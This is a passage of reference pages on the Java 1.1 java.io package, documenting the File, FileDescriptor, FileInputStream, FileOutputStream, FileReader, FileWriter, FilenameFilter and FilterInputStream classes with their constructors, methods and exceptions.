public class java.io.File extends java.lang.Object
                          implements java.io.Serializable {
  // Constants
  public final static String pathSeparator;
  public final static char pathSeparatorChar;
  public final static String separator;
  public final static char separatorChar;
  // Constructors
  public File(String path);
  public File(String path, String name);
  public File(File dir, String name);
  // Instance Methods
  public boolean canRead();
  public boolean canWrite();
  public boolean delete();
  public boolean equals(Object obj);
  public boolean exists();
  public String getAbsolutePath();
  public String getCanonicalPath();              // New in 1.1
  public String getName();
  public String getParent();
  public String getPath();
  public int hashCode();
  public native boolean isAbsolute();
  public boolean isDirectory();
  public boolean isFile();
  public long lastModified();
  public long length();
  public String[] list();
  public String[] list(FilenameFilter filter);
  public boolean mkdir();
  public boolean mkdirs();
  public boolean renameTo(File dest);
  public String toString();
}

Constants

pathSeparator

public final static String pathSeparator

Description

This string holds the value of System.getProperty('path.separator'). It contains the character that separates paths in a path list. Usually it is ":" or ";".

pathSeparatorChar

public final static char pathSeparatorChar

Description

This variable holds the first (and only) character in pathSeparator.

separator

public final static String separator

Description

This string holds the value of System.getProperty('file.separator'). It contains the character that separates directory and filenames in a path string. Usually it is "/" or "\".

separatorChar

public final static char separatorChar

Description

This variable holds the first (and only) character in separator.

Constructors

File

public File(String path)

Parameters

path

A full pathname (i.e., a directory and filename).

Description

This constructor creates a File object that represents the file specified by path.

public File(String path, String name)

Parameters

path

A directory path.

name

A filename.

Description

This constructor creates a File object that represents the file with the specified name in the directory described by path. In other words, the full pathname is the directory, followed by the separator character, followed by the filename.

If path is null, the constructor creates a File that represents the file with the specified name in the current directory. The current directory is the directory in which the program is running.

public File(File dir, String name)

Parameters

dir

A File object that represents a directory.

name

A filename.

Description

This constructor creates a File object that represents the file with the specified name in the directory described by the File object dir. In other words, the full pathname is the directory represented by dir, followed by the separator character, followed by the filename.

If dir is null, the constructor creates a File that represents the file with the specified name in the current directory. The current directory is the directory in which the program is running.

Instance Methods

canRead

public boolean canRead()

Returns

A boolean value that indicates if the file is readable.

Throws

SecurityException

If the application does not have permission to read the File.

Description

This method returns true if File corresponds to an existing, readable file or directory. Otherwise it returns false.

canWrite

public boolean canWrite()

Returns

A boolean value that indicates if the file is writable.

Throws

SecurityException

If the application does not have permission to write to the File.

Description

This method returns true if File corresponds to an existing, writable file or directory. Otherwise it returns false.

delete

public boolean delete()

Returns

true if the file is deleted; otherwise false.

Throws

SecurityException

If the application does not have permission to delete the file.

Description

This method attempts to delete the file or directory associated with this File object. A directory is only deleted if it is empty.

equals

public boolean equals(Object obj)

Parameters

obj

The Object to be compared.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of File that encapsulates the same pathname as this object.

exists

public boolean exists()

Returns

true if the file or directory exists; false otherwise.

Throws

SecurityException

If the application does not have permission to read the File.

Description

This method returns true if this File corresponds to an existing file or directory.

getAbsolutePath

public String getAbsolutePath()

Returns

A String that contains the absolute pathname.

Description

This method returns the absolute pathname of the file or directory associated with this File.

getCanonicalPath

public String getCanonicalPath() throws IOException

Availability

New as of JDK 1.1

Returns

A String that contains the canonical, or exact, pathname.

Throws

IOException

If any kind of I/O error occurs.

Description

This method returns the canonical pathname of the file or directory associated with this File.

getName

public String getName()

Returns

A String that contains the filename.

Description

This method returns the filename associated with this File. The string returned does not include the name of the directory.

getParent

public String getParent()

Returns

A String that contains the parent directory of the file, or null if it does not exist.

Description

This method returns the name of the parent directory of the file or directory associated with this File. The algorithm used returns everything in the pathname before the last separator character.

getPath

public String getPath()

Returns

A String that contains the pathname of the file.

Description

This method returns the full pathname associated with this File.

hashCode

public int hashCode()

Returns

A hashcode value for this file.

Overrides

Object.hashCode()

Description

This method returns a hashcode based on the pathname associated with this File.

isAbsolute

public native boolean isAbsolute()

Returns

true if the File represents an absolute path; false otherwise.

Description

This method indicates if the File represents an absolute path; what constitutes an absolute path is system-dependent.

isDirectory

public boolean isDirectory()

Returns

true if the File represents a directory; false otherwise.

Throws

SecurityException

If the application does not have permission to read the File.

Description

This method returns true if this File corresponds to a directory.

isFile

public boolean isFile()

Returns

true if the File represents a normal file; false otherwise.

Throws

SecurityException

If the application does not have permission to read the File.

Description

This method returns true if this File corresponds to a normal file, as opposed to an alternative, such as a directory, a named pipe, or a device.

lastModified

public long lastModified()

Returns

The time the file was last modified, or 0L if the file does not exist.

Throws

SecurityException

If the application does not have permission to read the File.

Description

This method returns the modification time of the file or directory that corresponds to this File. The format of the time returned is useful for comparing modification times; it's not meant to be used for other purposes.

length

public long length()

Returns

The file length, in bytes, or 0L if the file does not exist.

Throws

SecurityException

If the application does not have permission to read the File.

Description

This method returns the length of the file or directory that corresponds to this File.

list

public String[] list()

Returns

An array of the names of the files and directories contained by this File, or null if this File is not a directory.

Throws

SecurityException

If the application does not have permission to read the File.

Description

This method returns the contents of a directory. The current directory and the parent directory are not included in the list.

public String[] list(FilenameFilter filter)

Parameters

filter

A filter to use.

Returns

An array of the names of the files and directories contained by this File and filtered by filter, or null if this File is not a directory.

Throws

SecurityException

If the application does not have permission to read the File.

Description

This method returns of the contents of a directory as selected by the given FilenameFilter object. Specifically, a name is included if the FilenameFilter object's accept() method returns true for that name.

If filter is null, this method is equivalent to, but slower than, list().

mkdir

public boolean mkdir()

Returns

true if the directory is created; false otherwise.

Throws

SecurityException

If the application does not have permission to write to the File.

Description

This method creates a directory with the pathname specified by this File.

mkdirs

public boolean mkdirs()

Returns

true if the directory is created; false otherwise.

Throws

SecurityException

If the application does not have permission to write to the File.

Description

This method creates a directory with the pathname specified by this File. The method also creates all the parent directories if necessary.

renameTo

public boolean renameTo(File dest)

Parameters

dest

A File that specifies the new name.

Returns

true if the name is changed; false otherwise.

Throws

SecurityException

If the application does not have permission to write to this File or the file represented by dest.

Description

This method changes the pathname of this File to the pathname specified by dest.

toString

public String toString()

Returns

A String that contains the pathname of this File.

Overrides

Object.toString()

Description

This method returns a string representation of this File object.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

FileInputStream, FilenameFilter, FileOutputStream, FileReader, FileWriter, IOException, SecurityException

Previous | Home | Next
Externalizable | Book Index | FileDescriptor
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] FileDescriptor

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

FileDescriptor

Name

FileDescriptor

Synopsis

Class Name:

java.io.FileDescriptor

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The FileDescriptor class encapsulates system-specific handles for files and sockets. Instances of this class can be properly constructed only by native methods of other classes. In other words, you should not be constructing your own file descriptors. Currently, file descriptors are returned by the following methods:

  • DatagramSocketImpl.getFileDescriptor()

  • FileInputStream.getFD()

  • FileOutputStream.getFD()

  • RandomAccessFile.getFD()

  • SocketImpl.getFileDescriptor()

A file descriptor can be used in the constructors for FileInputStream, FileOutputStream, FileReader, and FileWriter.

Class Summary

public final class java.io.FileDescriptor extends java.lang.Object {
  // Constants
  public final static FileDescriptor err;
  public final static FileDescriptor in;
  public final static FileDescriptor out;
  // Instance Methods
  public native void sync();                     // New in 1.1
  public native boolean valid();
}

Constants

err

public final static FileDescriptor err

Description

The file descriptor for standard error. See System.err, which is constructed from this constant.

in

public final static FileDescriptor in

Description

The file descriptor for standard input. See System.in, which is constructed from this constant.

out

public final static FileDescriptor out

Description

The file descriptor for standard output. See System.out, which is constructed from this constant.

Instance Methods

sync

public native void sync() throws SyncFailedException

Availability

New as of JDK 1.1

Throws

SyncFailedException

If synchronization cannot be accomplished.

Description

This method causes the underlying device to be updated to a current state, which typically involves asking the operating system to flush its buffer. For example, if this FileDescriptor refers to a file on a physical disk, the disk is physically updated to reflect the current state of the object this descriptor represents. This method allows an application to put a device in a known state, which could be useful for transaction processing.

valid

public native boolean valid()

Returns

true if the FileDescriptor represents a valid, open device; false otherwise.

Description

This method returns a boolean value that indicates the validity of the file descriptor.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

FileInputStream, FileOutputStream, FileReader, FileWriter, SyncFailedException, System

Previous | Home | Next
File | Book Index | FileInputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] FileInputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

FileInputStream

Name

FileInputStream

Synopsis

Class Name:

java.io.FileInputStream

Superclass:

java.io.InputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The FileInputStream class represents a byte stream that reads data from a file. The file can be specified using a FileDescriptor, a File object, or a String that represents a pathname. All of the constructors can throw a SecurityException if the application does not have permission to read from the specified file.

FileInputStream provides a low-level interface for reading data from a file. You should wrap a FileInputStream with a DataInputStream if you need a higher-level interface that can handle reading strings and binary data. You should also think about wrapping a FileInputStream with a BufferedInputStream to increase reading efficiency.

Data must be read sequentially from a FileInputStream; you can skip forward, but you cannot move back. If you need random access to file data, use the RandomAccessFile class instead.

Class Summary

public class java.io.FileInputStream extends java.io.InputStream {
  // Constructors
  public FileInputStream(String name);
  public FileInputStream(File file);
  public FileInputStream(FileDescriptor fdObj);
  // Public Instance Methods
  public native int available();
  public native void close();
  public final FileDescriptor getFD();
  public native int read();
  public int read(byte[] b);
  public int read(byte[] b, int off, int len);
  public native long skip(long n);
  // Protected Instance Methods
  protected void finalize();
}

Constructors

FileInputStream

public FileInputStream(String name) throws FileNotFoundException

Parameters

name

A String that contains the pathname of the file to be accessed. The path must conform to the requirements of the native operating system.

Throws

FileNotFoundException

If the named file cannot be found.

SecurityException

If the application does not have permission to read the named file.

Description

This constructor creates a FileInputStream that gets its input from the file named by the specified String.

public FileInputStream(File file) throws FileNotFoundException

Parameters

file

The File to use as input.

Throws

FileNotFoundException

If the named file cannot be found.

SecurityException

If the application does not have permission to read the named file.

Description

This constructor creates a FileInputStream that gets its input from the file represented by the specified File.

public FileInputStream(FileDescriptor fdObj)

Parameters

fdObj

The FileDescriptor of the file to use as input.

Throws

SecurityException

If the application does not have permission to read the specified file.

NullPointerException

If FileDescriptor is null.

Description

This constructor creates a FileInputStream that gets its input from the file identified by the given FileDescriptor.

Public Instance Methods

available

public native int available() throws IOException

Returns

The number of bytes that can be read from the file without blocking.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.available()

Description

This method returns the number of available bytes of data. Initially, this is the length of the file.

close

public native void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.close()

Description

This method closes this file input stream and releases any resources used by it.

getFD

public final FileDescriptor getFD() throws IOException

Returns

The file descriptor for the file that supplies data for this stream.

Throws

IOException

If there is no FileDescriptor associated with this object.

Description

This method returns the file descriptor associated with the data source of this FileInputStream.

read

public native int read() throws IOException

Returns

The next byte of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.read()

Description

This method reads the next byte of data from the file. The method blocks if no input is available.

public int read(byte[] b) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

Returns

The actual number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.read(byte[])

Description

This method reads data into the given array. The method fills the array if enough bytes are available. The method blocks until some input is available.

public int read(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The actual number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.read(byte[], int, int)

Description

This method reads len bytes of data into the given array, starting at element off. The method blocks until some input is available.

skip

public native long skip(long n) throws IOException

Parameters

n

The number of bytes to skip.

Returns

The actual number of bytes skipped.

Throws

IOException

If any kind of I/O error occurs.

Overrides

FilterInputStream.skip()

Description

This method skips n bytes of input in the stream.

Protected Instance Methods

finalize

protected void finalize() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

Object.finalize()

Description

This method is called when the FileInputStream is garbage collected to ensure that close() is called. If the stream has a valid file descriptor, the close() method is called to free the system resources used by this stream.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
getClass() | Object | hashCode() | Object
mark(int) | InputStream | markSupported() | InputStream
notify() | Object | notifyAll() | Object
reset() | InputStream | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

BufferedInputStream, DataInputStream, File, FileDescriptor, FileNotFoundException, InputStream, IOException, NullPointerException, RandomAccessFile, SecurityException

Previous | Home | Next
FileDescriptor | Book Index | FilenameFilter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] FilenameFilter

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

FilenameFilter

Name

FilenameFilter

Synopsis

Interface Name:

java.io.FilenameFilter

Super-interface:

None

Immediate Sub-interfaces:

None

Implemented by:

None

Availability:

JDK 1.0 or later

Description

The FilenameFilter interface is implemented by a class that wants to filter the filenames that should be included in a list of filenames. For example, the list() method of the File class can take a FilenameFilter object to filter the filenames that are listed. The java.awt.FileDialog class also uses a FilenameFilter to limit the choices that are presented to the user.

Interface Declaration

public abstract interface java.io.FilenameFilter {
  // Methods
  public abstract boolean accept(File dir, String name);
}

Methods

accept

public abstract boolean accept(File dir, String name)

Parameters

dir

The directory that contains the file.

name

The name of the file.

Returns

true if the file should be shown; false otherwise.

Description

This method returns a boolean value that indicates whether or not a file should be included in a list of filenames. The method should return true if a file should be included; otherwise it should return false. A simple filter might return true for filenames with a certain extension, like .java. A more complex filter could check the directory name, the file's readability, and last modification time, for example.

See Also

File

Previous | Home | Next
FileInputStream | Book Index | FileNotFoundException
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] FileNotFoundException

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

FileNotFoundException

Name

FileNotFoundException

Synopsis

Class Name:

java.io.FileNotFoundException

Superclass:

java.io.IOException

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

A FileNotFoundException is thrown when a specified file cannot be located.

Class Summary

public class java.io.FileNotFoundException extends java.io.IOException {
  // Constructors
  public FileNotFoundException();
  public FileNotFoundException(String s);
}

Constructors

FileNotFoundException

public FileNotFoundException()

Description

This constructor creates a FileNotFoundException with no detail message.

public FileNotFoundException(String s)

Parameters

s

The detail message.

Description

This constructor creates a FileNotFoundException with the specified detail message.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
fillInStackTrace() | Throwable | finalize() | Object
getClass() | Object | getLocalizedMessage() | Throwable
getMessage() | Throwable | hashCode() | Object
notify() | Object | notifyAll() | Object
printStackTrace() | Throwable | printStackTrace(PrintStream) | Throwable
printStackTrace(PrintWriter) | Throwable | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

Exception, IOException, Throwable

Previous | Home | Next
FilenameFilter | Book Index | FileOutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] FileOutputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

FileOutputStream

Name

FileOutputStream

Synopsis

Class Name:

java.io.FileOutputStream

Superclass:

java.io.OutputStream

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The FileOutputStream class represents a byte stream that writes data to a file. The file can be specified using a FileDescriptor, a File object, or a String that represents a pathname. All of the constructors can throw a SecurityException if the application does not have permission to write to the specified file.

FileOutputStream provides a low-level interface for writing data to a file. Wrap a FileOutputStream with a DataOutputStream or a PrintStream if you need a higher-level interface that can handle writing strings and binary data. You should also think about wrapping a FileOutputStream with a BufferedOutputStream to increase writing efficiency.

Data must be written sequentially to a FileOutputStream; you can either overwrite existing data or append data to the end of the file. If you need random access to file data, use the RandomAccessFile class instead.

Class Summary

public class java.io.FileOutputStream extends java.io.OutputStream {
  // Constructors
  public FileOutputStream(String name);
  public FileOutputStream(String name, boolean append);     // New in 1.1
  public FileOutputStream(File file);
  public FileOutputStream(FileDescriptor fdObj);
  // Public Instance Methods
  public native void close();
  public final FileDescriptor getFD();
  public native void write(int b);
  public void write(byte[] b);
  public void write(byte[] b, int off, int len);
  // Protected Instance Methods
  protected void finalize();
}

Constructors

FileOutputStream

public FileOutputStream(String name) throws IOException

Parameters

name

A String that contains the pathname of the file to be used for output. The path must conform to the requirements of the native operating system.

Throws

FileNotFoundException

If the named file cannot be found.

SecurityException

If the application does not have permission to write to the named file.

Description

This constructor creates a FileOutputStream that sends its output to the file named by the specified String.

 public FileOutputStream(String name, boolean append) throws IOException

Availability

New as of JDK 1.1

Parameters

name

A String that contains the pathname of the file to be used for output. The path must conform to the requirements of the native operating system.

append

Specifies whether or not data is appended to the output stream.

Throws

FileNotFoundException

If the named file cannot be found.

SecurityException

If the application does not have permission to write to the named file.

Description

This constructor creates a FileOutputStream that sends its output to the named file. If append is true, the stream is positioned at the end of the file, and data is appended to the end of the file. Otherwise, if append is false, the stream is positioned at the beginning of the file, and any previous data is overwritten.

public FileOutputStream(File file) throws IOException

Parameters

file

The File to use as output.

Throws

FileNotFoundException

If the named file cannot be found.

SecurityException

If the application does not have permission to write to the named file.

Description

This constructor creates a FileOutputStream that sends its output to the file represented by the specified File.

public FileOutputStream(FileDescriptor fdObj)

Parameters

fdObj

The FileDescriptor of the file to use as output.

Throws

SecurityException

If the application does not have permission to write to the specified file.

NullPointerException

If FileDescriptor is null.

Description

This constructor creates a FileOutputStream that sends its output to the file identified by the given FileDescriptor.

Public Instance Methods

close

public native void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

OutputStream.close()

Description

This method closes this file output stream and releases any resources used by it.

getFD

public final FileDescriptor getFD() throws IOException

Throws

IOException

If there is no FileDescriptor associated with this object.

Description

This method returns the file descriptor associated with the data source of this FileOutputStream.

write

public native void write(int b) throws IOException

Parameters

b

The value to write to the stream.

Throws

IOException

If any kind of I/O error occurs.

Overrides

OutputStream.write(int)

Description

This method writes a byte containing the low-order eight bits of the given value to the output stream.

public void write(byte[] b) throws IOException

Parameters

b

An array of bytes to write to the stream.

Throws

IOException

If any kind of I/O error occurs.

Overrides

OutputStream.write(byte[])

Description

This method writes the entire contents of the given array to the output stream.

public void write(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to write to the stream.

off

An offset into the byte array.

len

The number of bytes to write.

Throws

IOException

If any kind of I/O error occurs.

Overrides

OutputStream.write(byte[], int, int)

Description

This method writes len bytes from the given array, starting at element off, to the output stream.

Protected Instance Methods

finalize

protected void finalize() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Description

This method is called when the FileOutputStream is garbage-collected to ensure that close() is called. If the stream has a valid file descriptor, the close() method is called to free the system resources used by this stream.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
flush() | OutputStream | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

BufferedOutputStream, DataOutputStream, File, FileDescriptor, FileNotFoundException, IOException, NullPointerException, OutputStream, PrintStream, RandomAccessFile, SecurityException

Previous | Home | Next
FileNotFoundException | Book Index | FileReader
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] FileReader

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

FileReader

Name

FileReader

Synopsis

Class Name:

java.io.FileReader

Superclass:

java.io.InputStreamReader

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The FileReader class represents a character stream that reads data from a file. It is a subclass of InputStreamReader that uses a default buffer size (8192 bytes) to read bytes from a file and the default character encoding scheme to convert the bytes to characters. If you need to specify the character encoding or the buffer size, wrap an InputStreamReader around a FileInputStream.

The file can be specified using a FileDescriptor, a File object, or a String that represents a pathname. All of the constructors can throw a SecurityException if the application does not have permission to read from the specified file.

FileReader provides a low-level interface for reading character data from a file. You should think about wrapping a FileReader with a BufferedReader to increase reading efficiency.

If you need to read binary data from a file, you should use a FileInputStream wrapped by a DataInputStream instead.

Class Summary

public class java.io.FileReader extends java.io.InputStreamReader {
  // Constructors
  public FileReader(String fileName);
  public FileReader(File file);
  public FileReader(FileDescriptor fd);
}

Constructors

FileInputStream

public FileReader(String fileName) throws FileNotFoundException

Parameters

fileName

A String that contains the pathname of the file to be accessed. The path must conform to the requirements of the native operating system.

Throws

FileNotFoundException

If the named file cannot be found.

SecurityException

If the application does not have permission to read the named file.

Description

This constructor creates a FileReader that gets its input from the file named by the specified String.

public FileReader(File file) throws FileNotFoundException

Parameters

file

The File to use as input.

Throws

FileNotFoundException

If the named file cannot be found.

SecurityException

If the application does not have permission to read the named file.

Description

This constructor creates a FileReader that gets its input from the file represented by the specified File.

public FileReader(FileDescriptor fdObj)

Parameters

fdObj

The FileDescriptor of the file to use as input.

Throws

SecurityException

If the application does not have permission to read the specified file.

NullPointerException

If FileDescriptor is null.

Description

This constructor creates a FileReader that gets its input from the file identified by the given FileDescriptor.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | InputStreamReader
equals(Object) | Object | finalize() | Object
getClass() | Object | getEncoding() | InputStreamReader
hashCode() | Object | mark(int) | Reader
markSupported() | Reader | notify() | Object
notifyAll() | Object | read() | InputStreamReader
read(char[]) | Reader | read(char[], int, int) | InputStreamReader
ready() | InputStreamReader | reset() | Reader
skip(long) | Reader | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

BufferedReader, DataInputStream, File, FileDescriptor, FileInputStream, FileNotFoundException, InputStreamReader, IOException, NullPointerException, Reader, SecurityException

Previous | Home | Next
FileOutputStream | Book Index | FileWriter
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] FileWriter

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package

FileWriter

Name

FileWriter

Synopsis

Class Name:

java.io.FileWriter

Superclass:

java.io.OutputStreamWriter

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The FileWriter class represents a character stream that writes data to a file. It is a subclass of OutputStreamWriter that uses a default buffer size (8192 bytes) to write bytes to a file and the default character encoding scheme to convert characters to bytes. If you need to specify the character encoding or the buffer size, wrap an OutputStreamWriter around a FileOutputStream.

The file can be specified using a FileDescriptor, a File object, or a String that represents a pathname. All of the constructors can throw a SecurityException if the application does not have permission to write to the specified file.

FileWriter provides a low-level interface for writing character data to a file. You should think about wrapping a FileWriter with a BufferedWriter to increase writing efficiency.

If you need to write binary data to a file, you should use a FileOutputStream wrapped by a DataOutputStream or a PrintStream instead.

Class Summary

public class java.io.FileWriter extends java.io.OutputStreamWriter {
  // Constructors
  public FileWriter(String fileName);
  public FileWriter(String fileName, boolean append);
  public FileWriter(File file);
  public FileWriter(FileDescriptor fd);
}

Constructors

FileWriter

public FileWriter(String fileName) throws IOException

Parameters

fileName

The pathname of the file to use as output.

Throws

FileNotFoundException

If the named file cannot be found.

SecurityException

If the application does not have permission to write to the named file.

Description

This constructor creates a FileWriter that sends its output to the file named by the specified String.

 public FileWriter(String fileName, boolean append) throws IOException

Parameters

fileName

The pathname of the file to use as output.

append

Specifies whether or not data is appended to the output stream.

Throws

FileNotFoundException

If the named file cannot be found.

SecurityException

If the application does not have permission to write to the named file.

Description

This constructor creates a FileWriter that sends its output to the named file. If append is true, the stream is positioned at the end of the file, and data is appended to the end of the file. Otherwise, if append is false, the stream is positioned at the beginning of the file, and any previous data is overwritten.

public FileWriter(File file) throws IOException

Parameters

file

The File to use as output.

Throws

FileNotFoundException

If the named file cannot be found.

SecurityException

If the application does not have permission to write to the named file.

Description

This constructor creates a FileWriter that sends its output to the file represented by the specified File object.

public FileWriter(FileDescriptor fdObj)

Parameters

fdObj

The FileDescriptor of the file to use as output.

Throws

SecurityException

If the application does not have permission to write to the specified file.

NullPointerException

If FileDescriptor is null.

Description

This constructor creates a FileWriter that sends its output to the file identified by the given FileDescriptor.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | close() | OutputStreamWriter
equals(Object) | Object | finalize() | Object
flush() | OutputStreamWriter | getClass() | Object
getEncoding() | OutputStreamWriter | hashCode() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object
write(int) | OutputStreamWriter | write(char[]) | Writer
write(char[], int, int) | OutputStreamWriter | write(String) | Writer
write(String, int, int) | OutputStreamWriter |  |

See Also

BufferedWriter, DataOutputStream, File, FileDescriptor, FileNotFoundException, FileOutputStream, IOException, NullPointerException, OutputStreamWriter, SecurityException, Writer

Previous | Home
FileReader | Book Index
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] FilterInputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

FilterInputStream

Name

FilterInputStream

Synopsis

Class Name:

java.io.FilterInputStream

Superclass:

java.io.InputStream

Immediate Subclasses:

java.io.BufferedInputStream,

java.io.DataInputStream,

java.io.LineNumberInputStream,

java.io.PushbackInputStream,

java.util.zip.CheckedInputStream,

java.util.zip.InflaterInputStream

Interfaces Implemented:

None

Availability:

JDK 1.0 or later

Description

The FilterInputStream class is the superclass of all of the input stream classes that filter input. Each of the subclasses of FilterInputStream works by wrapping an existing input stream, called the underlying input stream, and providing additional functionality. The methods of FilterInputStream simply override the methods of InputStream with versions that call the corresponding methods of the underlying stream.

FilterInputStream cannot be instantiated directly; it must be subclassed. An instance of one of the subclasses of FilterInputStream is constructed with another InputStream object. The methods of a subclass of FilterInputStream should override some methods in order to extend their behavior or provide some sort of filtering.

Class Summary

public class java.io.FilterInputStream extends java.io.InputStream {
  // Variables
  protected InputStream in;
  // Constructors
  protected FilterInputStream(InputStream in);
  // Instance Methods
  public int available();
  public void close();
  public synchronized void mark(int readlimit);
  public boolean markSupported();
  public int read();
  public int read(byte[] b);
  public int read(byte[] b, int off, int len);
  public synchronized void reset();
  public long skip(long n);
}

Variables

in

protected InputStream in

Description

The underlying stream that this FilterInputStream wraps or filters.

Constructors

FilterInputStream

protected FilterInputStream(InputStream in)

Parameters

in

The input stream to filter.

Description

This constructor creates a FilterInputStream that gets its data from in.

Instance Methods

available

public int available() throws IOException

Returns

The number of bytes that can be read without blocking.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.available()

Description

This method calls the available() method of the underlying stream and returns the result.

close

public void close() throws IOException

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.close()

Description

This method calls the close() method of the underlying stream, which releases any system resources associated with this object.

mark

public synchronized void mark(int readlimit)

Parameters

readlimit

The maximum number of bytes that can be read before the saved position becomes invalid.

Overrides

InputStream.mark()

Description

This method calls the mark() method of the underlying stream. If the underlying stream supports mark() and reset(), this method causes the FilterInputStream to remember its current position. A subsequent call to reset() causes the object to return to that saved position, and thus re-read a portion of the input.

markSupported

public boolean markSupported()

Returns

true if this stream supports mark() and reset(); false otherwise.

Overrides

InputStream.markSupported()

Description

This method calls the markSupported() method of the underlying stream and returns the result.

read

public int read() throws IOException

Returns

The next byte of data or -1 if the end of the stream is encountered.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.read()

Description

This method calls the read() method of the underlying stream and returns the result. This method blocks until some data is available, the end of the stream is detected, or an exception is thrown.

public int read(byte[] b) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

Returns

The actual number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.read(byte[])

Description

This method reads bytes of input to fill the given array. It does this by calling read(b, 0, b.length), which allows subclasses to only override read(byte[], int, int) and have read(byte[]) work automatically. The method blocks until some data is available.

public int read(byte[] b, int off, int len) throws IOException

Parameters

b

An array of bytes to be filled from the stream.

off

An offset into the byte array.

len

The number of bytes to read.

Returns

The actual number of bytes read or -1 if the end of the stream is encountered immediately.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.read(byte[], int, int)

Description

This method reads up to len bytes of input into the given array starting at index off. It does this by calling the read(byte[], int, int) method of the underlying stream and returning the result. The method blocks until some data is available.

reset

public synchronized void reset() throws IOException

Throws

IOException

If there was no previous call to the mark() method or the saved position has been invalidated.

Overrides

InputStream.reset()

Description

This method calls the reset() method of the underlying stream. If the underlying stream supports mark() and reset(), this method sets the position of the FilterInputStream to a position that was saved by a previous call to mark(). Subsequent bytes read from this FilterInputStream will begin from the saved position and continue normally.

skip

public long skip(long n) throws IOException

Parameters

n

The number of bytes to skip.

Returns

The actual number of bytes skipped.

Throws

IOException

If any kind of I/O error occurs.

Overrides

InputStream.skip()

Description

This method skips n bytes of input. It calls the skip() method of the underlying stream.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

BufferedInputStream, CheckedInputStream, DataInputStream, FilterInputStream, InflaterInputStream, InputStream, IOException, LineNumberInputStream, PushbackInputStream

Previous | Home | Next
FileWriter | Book Index | FilterOutputStream
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 11] FilterOutputStream

Java Fundamental Classes Reference

Previous Chapter 11
The java.io Package 		Next

FilterOutputStream

Name

FilterOutputStream

Synopsis

Class Name:

